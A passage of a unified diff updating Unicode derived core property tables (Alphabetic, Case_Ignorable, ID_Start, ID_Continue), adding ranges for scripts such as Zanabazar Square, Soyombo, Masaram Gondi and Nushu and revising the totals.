 11727..1172A  ; Alphabetic # Mn   [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM
 118A0..118DF  ; Alphabetic # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118FF         ; Alphabetic # Lo       WARANG CITI OM
+11A00         ; Alphabetic # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; Alphabetic # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Alphabetic # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Alphabetic # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; Alphabetic # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A35..11A38  ; Alphabetic # Mn   [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; Alphabetic # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; Alphabetic # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; Alphabetic # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A50         ; Alphabetic # Lo       SOYOMBO LETTER A
+11A51..11A56  ; Alphabetic # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Alphabetic # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Alphabetic # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; Alphabetic # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; Alphabetic # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; Alphabetic # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; Alphabetic # Mc       SOYOMBO SIGN VISARGA
 11AC0..11AF8  ; Alphabetic # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; Alphabetic # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; Alphabetic # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -1131,6 +1151,16 @@
 11CB2..11CB3  ; Alphabetic # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; Alphabetic # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; Alphabetic # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06  ; Alphabetic # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; Alphabetic # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; Alphabetic # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; Alphabetic # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Alphabetic # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Alphabetic # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D41  ; Alphabetic # Mn   [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA
+11D43         ; Alphabetic # Mn       MASARAM GONDI SIGN CANDRA
+11D46         ; Alphabetic # Lo       MASARAM GONDI REPHA
+11D47         ; Alphabetic # Mn       MASARAM GONDI RA-KARA
 12000..12399  ; Alphabetic # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; Alphabetic # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; Alphabetic # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -1148,10 +1178,11 @@
 16F50         ; Alphabetic # Lo       MIAO LETTER NASALIZATION
 16F51..16F7E  ; Alphabetic # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F93..16F9F  ; Alphabetic # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; Alphabetic # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; Alphabetic # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; Alphabetic # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; Alphabetic # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; Alphabetic # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; Alphabetic # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; Alphabetic # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; Alphabetic # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; Alphabetic # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; Alphabetic # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -1235,9 +1266,10 @@
 2A700..2B734  ; Alphabetic # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Alphabetic # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Alphabetic # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Alphabetic # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; Alphabetic # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 118240
+# Total code points: 126629
 
 # ================================================
 
@@ -2798,6 +2830,7 @@
 0AC7..0AC8    ; Case_Ignorable # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; Case_Ignorable # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Case_Ignorable # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Case_Ignorable # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Case_Ignorable # Mn       ORIYA SIGN CANDRABINDU
 0B3C          ; Case_Ignorable # Mn       ORIYA SIGN NUKTA
 0B3F          ; Case_Ignorable # Mn       ORIYA VOWEL SIGN I
@@ -2820,7 +2853,8 @@
 0CC6          ; Case_Ignorable # Mn       KANNADA VOWEL SIGN E
 0CCC..0CCD    ; Case_Ignorable # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CE2..0CE3    ; Case_Ignorable # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Case_Ignorable # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Case_Ignorable # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; Case_Ignorable # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D41..0D44    ; Case_Ignorable # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; Case_Ignorable # Mn       MALAYALAM SIGN VIRAMA
 0D62..0D63    ; Case_Ignorable # Mn   [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
@@ -2916,7 +2950,7 @@
 1D2C..1D6A    ; Case_Ignorable # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
 1D78          ; Case_Ignorable # Lm       MODIFIER LETTER CYRILLIC EN
 1D9B..1DBF    ; Case_Ignorable # Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5    ; Case_Ignorable # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Case_Ignorable # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Case_Ignorable # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1FBD          ; Case_Ignorable # Sk       GREEK KORONIS
 1FBF..1FC1    ; Case_Ignorable # Sk   [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI
@@ -3078,6 +3112,15 @@
 1171D..1171F  ; Case_Ignorable # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; Case_Ignorable # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; Case_Ignorable # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Case_Ignorable # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A09..11A0A  ; Case_Ignorable # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Case_Ignorable # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; Case_Ignorable # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Case_Ignorable # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Case_Ignorable # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; Case_Ignorable # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Case_Ignorable # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; Case_Ignorable # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; Case_Ignorable # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Case_Ignorable # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C3F         ; Case_Ignorable # Mn       BHAIKSUKI SIGN VIRAMA
@@ -3085,12 +3128,17 @@
 11CAA..11CB0  ; Case_Ignorable # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; Case_Ignorable # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; Case_Ignorable # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Case_Ignorable # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Case_Ignorable # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Case_Ignorable # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Case_Ignorable # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Case_Ignorable # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Case_Ignorable # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Case_Ignorable # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16B40..16B43  ; Case_Ignorable # Lm   [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM
 16F8F..16F92  ; Case_Ignorable # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F  ; Case_Ignorable # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; Case_Ignorable # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; Case_Ignorable # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 1BC9D..1BC9E  ; Case_Ignorable # Mn   [2] DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK
 1BCA0..1BCA3  ; Case_Ignorable # Cf   [4] SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP
 1D167..1D169  ; Case_Ignorable # Mn   [3] MUSICAL SYMBOL COMBINING TREMOLO-1..MUSICAL SYMBOL COMBINING TREMOLO-3
@@ -3117,7 +3165,7 @@
 E0020..E007F  ; Case_Ignorable # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; Case_Ignorable # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 2240
+# Total code points: 2314
 
 # ================================================
 
@@ -5763,6 +5811,7 @@
 0824          ; ID_Start # Lm       SAMARITAN MODIFIER LETTER SHORT A
 0828          ; ID_Start # Lm       SAMARITAN MODIFIER LETTER I
 0840..0858    ; ID_Start # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; ID_Start # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; ID_Start # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; ID_Start # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 0904..0939    ; ID_Start # Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
@@ -5782,6 +5831,7 @@
 09DC..09DD    ; ID_Start # Lo   [2] BENGALI LETTER RRA..BENGALI LETTER RHA
 09DF..09E1    ; ID_Start # Lo   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09F0..09F1    ; ID_Start # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; ID_Start # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A05..0A0A    ; ID_Start # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; ID_Start # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; ID_Start # Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -6039,12 +6089,12 @@
 30A1..30FA    ; ID_Start # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; ID_Start # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; ID_Start # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; ID_Start # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; ID_Start # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; ID_Start # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; ID_Start # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; ID_Start # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; ID_Start # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; ID_Start # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; ID_Start # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; ID_Start # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; ID_Start # Lm       YI SYLLABLE WU
 A016..A48C    ; ID_Start # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -6162,7 +6212,7 @@
 10280..1029C  ; ID_Start # Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; ID_Start # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; ID_Start # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; ID_Start # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; ID_Start # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; ID_Start # Nl       GOTHIC LETTER NINETY
 10342..10349  ; ID_Start # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; ID_Start # Nl       GOTHIC LETTER NINE HUNDRED
@@ -6249,11 +6299,21 @@
 11700..11719  ; ID_Start # Lo  [26] AHOM LETTER KA..AHOM LETTER JHA
 118A0..118DF  ; ID_Start # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118FF         ; ID_Start # Lo       WARANG CITI OM
+11A00         ; ID_Start # Lo       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; ID_Start # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; ID_Start # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A50         ; ID_Start # Lo       SOYOMBO LETTER A
+11A5C..11A83  ; ID_Start # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; ID_Start # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; ID_Start # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; ID_Start # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; ID_Start # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
 11C40         ; ID_Start # Lo       BHAIKSUKI SIGN AVAGRAHA
 11C72..11C8F  ; ID_Start # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; ID_Start # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; ID_Start # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; ID_Start # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; ID_Start # Lo       MASARAM GONDI REPHA
 12000..12399  ; ID_Start # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; ID_Start # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; ID_Start # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -6269,10 +6329,11 @@
 16F00..16F44  ; ID_Start # Lo  [69] MIAO LETTER PA..MIAO LETTER HHA
 16F50         ; ID_Start # Lo       MIAO LETTER NASALIZATION
 16F93..16F9F  ; ID_Start # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; ID_Start # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; ID_Start # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; ID_Start # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; ID_Start # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; ID_Start # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; ID_Start # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; ID_Start # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; ID_Start # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; ID_Start # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; ID_Start # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -6346,9 +6407,10 @@
 2A700..2B734  ; ID_Start # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; ID_Start # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; ID_Start # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; ID_Start # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; ID_Start # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 117007
+# Total code points: 125334
 
 # ================================================
 
@@ -6451,6 +6513,7 @@
 0829..082D    ; ID_Continue # Mn   [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA
 0840..0858    ; ID_Continue # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 0859..085B    ; ID_Continue # Mn   [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
+0860..086A    ; ID_Continue # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; ID_Continue # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; ID_Continue # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08E1    ; ID_Continue # Mn  [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
@@ -6495,6 +6558,7 @@
 09E2..09E3    ; ID_Continue # Mn   [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL
 09E6..09EF    ; ID_Continue # Nd  [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE
 09F0..09F1    ; ID_Continue # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; ID_Continue # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A01..0A02    ; ID_Continue # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03          ; ID_Continue # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; ID_Continue # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -6537,6 +6601,7 @@
 0AE2..0AE3    ; ID_Continue # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
 0AE6..0AEF    ; ID_Continue # Nd  [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE
 0AF9          ; ID_Continue # Lo       GUJARATI LETTER ZHA
+0AFA..0AFF    ; ID_Continue # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; ID_Continue # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; ID_Continue # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C    ; ID_Continue # Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -6620,11 +6685,12 @@
 0CE2..0CE3    ; ID_Continue # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF    ; ID_Continue # Nd  [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2    ; ID_Continue # Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01          ; ID_Continue # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; ID_Continue # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; ID_Continue # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; ID_Continue # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; ID_Continue # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A    ; ID_Continue # Lo  [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C    ; ID_Continue # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D          ; ID_Continue # Lo       MALAYALAM SIGN AVAGRAHA
 0D3E..0D40    ; ID_Continue # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; ID_Continue # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -6888,6 +6954,7 @@
 1CF2..1CF3    ; ID_Continue # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; ID_Continue # Mn       VEDIC TONE CANDRA ABOVE
 1CF5..1CF6    ; ID_Continue # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; ID_Continue # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; ID_Continue # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D00..1D2B    ; ID_Continue # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; ID_Continue # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
@@ -6895,7 +6962,7 @@
 1D78          ; ID_Continue # Lm       MODIFIER LETTER CYRILLIC EN
 1D79..1D9A    ; ID_Continue # L&  [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
 1D9B..1DBF    ; ID_Continue # Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5    ; ID_Continue # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; ID_Continue # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; ID_Continue # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1E00..1F15    ; ID_Continue # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
 1F18..1F1D    ; ID_Continue # L&   [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
@@ -6986,12 +7053,12 @@
 30A1..30FA    ; ID_Continue # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; ID_Continue # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; ID_Continue # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; ID_Continue # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
